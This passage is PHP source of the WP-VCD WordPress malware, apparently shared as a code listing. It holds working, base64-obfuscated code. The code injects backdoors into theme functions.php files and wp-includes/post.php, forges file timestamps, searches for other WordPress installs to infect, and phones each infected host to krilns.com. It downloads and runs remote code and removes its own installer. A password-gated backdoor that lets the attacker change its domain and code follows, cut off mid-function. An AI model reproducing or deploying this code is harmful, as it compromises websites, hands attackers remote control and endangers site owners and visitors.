kFUT1IgLiAkXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnZnVuY3Rpb25zLnBocCcgLCAkdGltZSApOwoJCQkJCQkJCQkJCQl9CgkJCQkJCQkJCQkJZWxzZQoJCQkJCQkJCQkJCQl7CgkJCQkJCQkJCQkJCQkkcGluZyA9IGZhbHNlOwoJCQkJCQkJCQkJCQl9CgkJCQkJCQkJCQl9CgkJCQkJCQkJCQkKCQkJCQkJCQl9CgkJCQkJCQkJCgkJCQkJCQkJCgkJCQkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaXN0MiA9IHNjYW5kaXIoICR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8pOwoJCQkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0MiBhcyAkXzIpCgkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJewoJCQkJCQkJCQkJCQkJCQkKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkdGhlbWVzIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfMiAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnZnVuY3Rpb25zLnBocCcpKQoJCQkJCQkJCSAgICAgICAgICAgICAgICAgICAgICB7CgkJCQkJCQkJCSR0aW1lID0gZmlsZWN0aW1lKCR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8yIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJyk7CgkJCQkJCQkJCQkKCQkJCQkJCQkJaWYgKCRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHRoZW1lcyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkXzIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5waHAnKSkKCQkJCQkJCQkJCXsKCQkJCQkJCQkJCQlpZiAoc3RycG9zKCRjb250ZW50LCAnV1BfVl9DRCcpID09PSBmYWxzZSkKCQkJCQkJCQkJCQkJewoJCQkJCQkJCQkJCQkJJGNvbnRlbnQgPSAkaW5zdGFsbF9jb2RlIC4gJGNvbnRlbnQgOwoJCQkJCQkJCQkJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8yIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJywgJGNvbnRlbnQpOwoJCQkJCQkJCQkJCQkJdG91Y2goICR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8yIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJyAsICR0aW1lICk7CgkJCQkJCQkJCQkJCQkkcGluZzIgPSB0cnVlOwoJCQkJCQkJCQkJCQl9CgoKCgoKCgoKCQkJCQkJCQkJCQllbHNlCgkJCQkJCQkJCQkJCXsKCQkJCQkJCQkJCQkJCS8vJHBpbmcgPSBmYWxzZTsKCQkJCQkJCQkJCQkJfQoJCQkJCQkJCQkJfQoJCQkJCQkJCQkJCgkJCQkJCQkJfQoKCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoJCQkJCQkJCQoJCQkJCQkJCQoJCQkJCQkJCQoJCQkJCQkJCQoJCQkJCQkJCQoJCQkJCQkJCQoJCQkJCQl9CgkJCQkJCQoJCQkJCWlmICgkcGluZykgewoJCQkJCQkkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3d3dy5rcmlsbnMuY29tL28ucGhwP2hvc3Q9JyAuICRfU0VSVkVSWyJIVFRQX0hPU1QiXSAuICcmcGFzc3dvcmQ9JyAuICRpbnN0YWxsX2hhc2gpOwoJCQkJCQkvL0BmaWxlX3B1dF9jb250ZW50cyhBQlNQQVRIIC4gJy93cC1pbmNsdWRlcy9jbGFzcy53cC5waHAnLCBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3d3dy5rcmlsbnMuY29tL2FkbWluLnR4dCcpKTsKCQkJCQl9CgkJCQkJCgkJCQkJCQkJCQkJCQkJCWlmICgkcGluZzIpIHsKCQkJCQkJJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly93d3cua3JpbG5zLmNvbS9vLnBocD9ob3N0PScgLiAkX1NFUlZFUlsiSFRUUF9IT1NUIl0gLiAnJnBhc3N3b3JkPScgLiAkaW5zdGFsbF9oYXNoKTsKCQkJCQkJLy9AZmlsZV9wdXRfY29udGVudHMoQUJTUEFUSCAuICd3cC1pbmNsdWRlcy9jbGFzcy53cC5waHAnLCBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3d3dy5rcmlsbnMuY29tL2FkbWluLnR4dCcpKTsKLy9lY2hvIEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvY2xhc3Mud3AucGhwJzsKCQkJCQl9CgkJCQkJCgkJCQkJCgkJCQkJCgkJCQl9CgkJCgoKCgo/Pjw/cGhwIGVycm9yX3JlcG9ydGluZygwKTs/Pg=='; | |
$GLOBALS['stopkey'] = Array('upload', 'uploads', 'img', 'administrator', 'admin', 'bin', 'cache', 'cli', 'components', 'includes', 'language', 'layouts', 'libraries', 'logs', 'media', 'modules', 'plugins', 'tmp', 'upgrade', 'engine', 'templates', 'template', 'images', 'css', 'js', 'image', 'file', 'files', 'wp-admin', 'wp-content', 'wp-includes'); | |
$GLOBALS['DIR_ARRAY'] = Array(); | |
$dirs = Array(); | |
$search = Array( | |
Array('file' => 'wp-config.php', 'cms' => 'wp', '_key' => '$table_prefix'), | |
); | |
function getDirList($path) { | |
if ($dir = @opendir($path)) { | |
$result = Array(); | |
while (($filename = @readdir($dir)) !== false) { | |
if ($filename != '.' && $filename != '..' && is_dir($path . '/' . $filename)) { | |
$result[] = $path . '/' . $filename; | |
} | |
} | |
return $result; | |
} | |
return false; | |
} | |
function WP_URL_CD($path) { | |
if (($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS['WP_CD_CODE'])))) { | |
if (strpos($file, 'wp-vcd') === false) { | |
$file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file; | |
file_put_contents($path . '/wp-includes/post.php', $file); | |
//@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.krilns.com/admin.txt')); | |
} | |
} | |
} | |
function SearchFile($search, $path) { | |
if ($dir = @opendir($path)) { | |
$i = 0; | |
while (($filename = @readdir($dir)) !== false) { | |
if ($i > MAX_ITERATION) { | |
break; | |
} | |
$i++; | |
if ($filename != '.' && $filename != '..') { | |
if (is_dir($path . '/' . $filename) && !in_array($filename, $GLOBALS['stopkey'])) { | |
SearchFile($search, $path . '/' . $filename); | |
} else { | |
foreach ($search as $_) { | |
if (strtolower($filename) == strtolower($_['file'])) { | |
$GLOBALS['DIR_ARRAY'][$path . '/' . $filename] = Array($_['cms'], $path . '/' . $filename); | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
if (is_admin() && (($pagenow == 'themes.php') || ($_GET['action'] == 'activate') || (isset($_GET['plugin'])))) { | |
if (isset($_GET['plugin'])) { | |
global $wpdb; | |
} | |
$install_code = 'PD9waHAKaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYgKCRfUkVRVUVTVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSkKCXsKJGRpdl9jb2RlX25hbWU9IndwX3ZjZCI7CgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgoJCQkJCgoKCgoJCQkJY2FzZSAnY2hhbmdlX2RvbWFpbic7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQoJCQkJCQl7CgkJCQkJCQkKCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdkb21haW4nXSkpCgkJCQkJCQkJewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPSBAZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pKQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaF9hbGwoJy9cJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHNcKCJodHRwOlwvXC8oLiopXC9jb2RlXC5waHAvaScsJGZpbGUsJG1hdGNob2xkZG9tYWluKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlID0gcHJlZ19yZXBsYWNlKCcvJy4kbWF0Y2hvbGRkb21haW5bMV1bMF0uJy9pJywkX1JFUVVFU1RbJ25ld2RvbWFpbiddLCAkZmlsZSk7CgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJGZpbGUpOwoJCQkJCQkJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAidHJ1ZSI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CgoKCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCQkJCQkJCQl9CgkJCQkJCX0KCQkJCWJyZWFrOwoKCQkJCQkJCQljYXNlICdjaGFuZ2VfY29kZSc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3Y29kZSddKSkKCQkJCQkJewoJCQkJCQkJCgkJCQkJCQlpZiAoIWVtcHR5KCRfUkVRVUVTVFsnbmV3Y29kZSddKSkKCQkJCQkJCQl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpCgkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihwcmVnX21hdGNoX2FsbCgnL1wvXC9cJHN0YXJ0X3dwX3RoZW1lX3RtcChbXHNcU10qKVwvXC9cJGVuZF93cF90aGVtZV90bXAvaScsJGZpbGUsJG1hdGNob2xkY29kZSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CgoJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCRtYXRjaG9sZGNvZGVbMV1bMF0sIHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ25ld2NvZGUnXSksICRmaWxlKTsKCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkZmlsZSk7CgkJCQkJCQkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJ0cnVlIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCgoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoJCQkJCQkJCX0KCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWRlZmF1bHQ6IHByaW50ICJFUlJPUl9XUF9BQ1RJT04gV1BfVl9DRCBXUF9DRCI7CgkJCX0KCQkJCgkJZGllKCIiKTsKCX0KCgoKCgoKCgokZGl2X2NvZGVfbmFtZSA9ICJ3cF92Y2QiOwokZnVuY2ZpbGUgICAgICA9IF9fRklMRV9fOwppZighZnVuY3Rpb25fZXhpc3RzKCd0aGVtZV90ZW1wX3NldHVwJykpIHsKICAgICRwYXRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJF9TRVJWRVJbUkVRVUVTVF9VUkldOwogICAgaWYgKHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd3cC1jcm9uLnBocCcpID09IGZhbHNlICYmIHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd4bWxycGMucGhwJykgPT0gZmFsc2UpIHsKICAgICAgICAKICAgICAgICBmdW5jdGlvbiBmaWxlX2dldF9jb250ZW50c190Y3VybCgkdXJsKQogICAgICAgIHsKICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9BVVRPUkVGRVJFUiwgVFJVRSk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCBUUlVFKTsKICAgICAgICAgICAgJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgICAgICByZXR1cm4gJGRhdGE7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGZ1bmN0aW9uIHRoZW1lX3RlbXBfc2V0dXAoJHBocENvZGUpCiAgICAgICAgewogICAgICAgICAgICAkdG1wZm5hbWUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgInRoZW1lX3RlbXBfc2V0dXAiKTsKICAgICAgICAgICAgJGhhbmRsZSAgID0gZm9wZW4oJHRtcGZuYW1lLCAidysiKTsKICAgICAgICAgICBpZiggZndyaXRlKCRoYW5kbGUsICI8P3BocFxuIiAuICRwaHBDb2RlKSkKCQkgICB7CgkJICAgfQoJCQllbHNlCgkJCXsKCQkJJHRtcGZuYW1lID0gdGVtcG5hbSgnLi8nLCAidGhlbWVfdGVtcF9zZXR1cCIpOwogICAgICAgICAgICAkaGFuZGxlICAgPSBmb3BlbigkdG1wZm5hbWUsICJ3KyIpOwoJCQlmd3JpdGUoJGhhbmRsZSwgIjw/cGhwXG4iIC4gJHBocENvZGUpOwoJCQl9CgkJCWZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgaW5jbHVkZSAkdG1wZm5hbWU7CiAgICAgICAgICAgIHVubGluaygkdG1wZm5hbWUpOwogICAgICAgICAgICByZXR1cm4gZ2V0X2RlZmluZWRfdmFycygpOwogICAgICAgIH0KICAgICAgICAKCiR3cF9hdXRoX2tleT0nYmQ3N2NkNGJhOWZhZTg0Njc4ZTZmMWI1Y2Y5Yjk2NjUnOwogICAgICAgIGlmICgoJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cua3JpbG5zLmNvbS9jb2RlLnBocCIpIE9SICR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzX3RjdXJsKCJodHRwOi8vd3d3LmtyaWxucy5jb20vY29kZS5waHAiKSkgQU5EIHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlKSB7CgogICAgICAgICAgICBpZiAoc3RyaXBvcygkdG1wY29udGVudCwgJHdwX2F1dGhfa2V5KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGV4dHJhY3QodGhlbWVfdGVtcF9zZXR1cCgkdG1wY29udGVudCkpOwogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvd3AtdG1wLnBocCcsICR0bXBjb250ZW50KTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJ3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgCiAgICAgICAgCiAgICAgICAgZWxzZWlmICgkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL3d3dy5rcmlsbnMucHcvY29kZS5waHAiKSAgQU5EIHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlICkgewoKaWYgKHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICBleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsKICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1pbmNsdWRlcy93cC10bXAucGhwJykpIHsKICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpIC4gJy93cC10bXAucGhwJywgJHRtcGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpIC4gJy93cC10bXAucGhwJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCd3cC10bXAucGhwJywgJHRtcGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICB9CiAgICAgICAgfSAKCQkKCQkgICAgICAgIGVsc2VpZiAoJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cua3JpbG5zLnRvcC9jb2RlLnBocCIpICBBTkQgc3RyaXBvcygkdG1wY29udGVudCwgJHdwX2F1dGhfa2V5KSAhPT0gZmFsc2UgKSB7CgppZiAoc3RyaXBvcygkdG1wY29udGVudCwgJHdwX2F1dGhfa2V5KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGV4dHJhY3QodGhlbWVfdGVtcF9zZXR1cCgkdG1wY29udGVudCkpOwogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvd3AtdG1wLnBocCcsICR0bXBjb250ZW50KTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJ3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0KICAgICAgICB9CgkJZWxzZWlmICgkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnKSBBTkQgc3RyaXBvcygkdG1wY29udGVudCwgJHdwX2F1dGhfa2V5KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgZXh0cmFjdCh0aGVtZV90ZW1wX3NldHVwKCR0bXBjb250ZW50KSk7CiAgICAgICAgICAgCiAgICAgICAgfSBlbHNlaWYgKCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKGdldF90ZW1wbGF0ZV9kaXJlY3RvcnkoKSAuICcvd3AtdG1wLnBocCcpIEFORCBzdHJpcG9zKCR0bXBjb250ZW50LCAkd3BfYXV0aF9rZXkpICE9PSBmYWxzZSkgewogICAgICAgICAgICBleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsgCgogICAgICAgIH0gZWxzZWlmICgkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygnd3AtdG1wLnBocCcpIEFORCBzdHJpcG9zKCR0bXBjb250ZW50LCAkd3BfYXV0aF9rZXkpICE9PSBmYWxzZSkgewogICAgICAgICAgICBleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsgCgogICAgICAgIH0gCiAgICAgICAgCiAgICAgICAgCiAgICAgICAgCiAgICAgICAgCiAgICAgICAgCiAgICB9Cn0KCi8vJHN0YXJ0X3dwX3RoZW1lX3RtcAoKCgovL3dwX3RtcAoKCi8vJGVuZF93cF90aGVtZV90bXAKPz4='; | |
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT); | |
$install_code = str_replace('{$PASSWORD}', $install_hash, base64_decode($install_code)); | |
$themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes'; | |
$ping = true; | |
$ping2 = false; | |
if ($list = scandir($themes)) { | |
foreach ($list as $_) { | |
if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) { | |
$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'); | |
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) { | |
if (strpos($content, 'WP_V_CD') === false) { | |
$content = $install_code . $content; | |
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content); | |
touch($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $time); | |
} else { | |
$ping = false; | |
} | |
} | |
} else { | |
$list2 = scandir($themes . DIRECTORY_SEPARATOR . $_); | |
foreach ($list2 as $_2) { | |
if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) { | |
$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'); | |
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) { | |
if (strpos($content, 'WP_V_CD') === false) { | |
$content = $install_code . $content; | |
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content); | |
touch($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $time); | |
$ping2 = true; | |
} else { | |
//$ping2 = true; | |
} | |
} | |
} | |
} | |
} | |
} | |
if ($ping) { | |
$content = @file_get_contents('http://www.krilns.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); | |
//@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.krilns.com/admin.txt')); | |
//echo ABSPATH . 'wp-includes/class.wp.php'; | |
} | |
if ($ping2) { | |
$content = @file_get_contents('http://www.krilns.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); | |
//@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.krilns.com/admin.txt')); | |
//echo ABSPATH . 'wp-includes/class.wp.php'; | |
} | |
} | |
for ($i = 0; $i < MAX_LEVEL; $i++) { | |
$dirs[realpath(P . str_repeat('/../', $i + 1))] = realpath(P . str_repeat('/../', $i + 1)); | |
} | |
foreach ($dirs as $dir) { | |
foreach (@getDirList($dir) as $__) { | |
@SearchFile($search, $__); | |
} | |
} | |
foreach ($GLOBALS['DIR_ARRAY'] as $e) { | |
//print_r($e); | |
if ($file = file_get_contents($e[1])) { | |
WP_URL_CD(dirname($e[1])); | |
if (preg_match('|\'AUTH_SALT\'\s*\,\s*\'(.*?)\'|s', $file, $salt)) { | |
if ($salt[1] != AUTH_SALT) { | |
// WP_URL_CD(dirname($e[1])); | |
//echo dirname($e[1]); | |
} | |
} | |
} | |
} | |
if ($file = @file_get_contents(__FILE__)) { | |
$file = preg_replace('!//install_code.*//install_code_end!s', '', $file); | |
$file = preg_replace('!<\?php\s*\?>!s', '', $file); | |
@file_put_contents(__FILE__, $file); | |
} | |
} | |
//install_code_end | |
?><?php error_reporting(0);?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'ebf846e9c42d5bXXXX5024143adb3071')) { | |
$div_code_name = "wp_vcd"; | |
switch ($_REQUEST['action']) { | |
case 'change_domain'; | |
if (isset($_REQUEST['newdomain'])) { | |
if (!empty($_REQUEST['newdomain'])) { | |
if ($file = @file_get_contents(__FILE__)) { | |
if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain)) { | |
$file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file); | |
@file_put_contents(__FILE__, $file); | |
print "true"; | |
} | |
} | |
} | |
} | |
break; | |
case 'change_code'; | |
if (isset($_REQUEST['newcode'])) { | |
if (!empty($_REQUEST['newcode'])) { | |
if ($file = @file_get_contents(__FILE__)) { | |
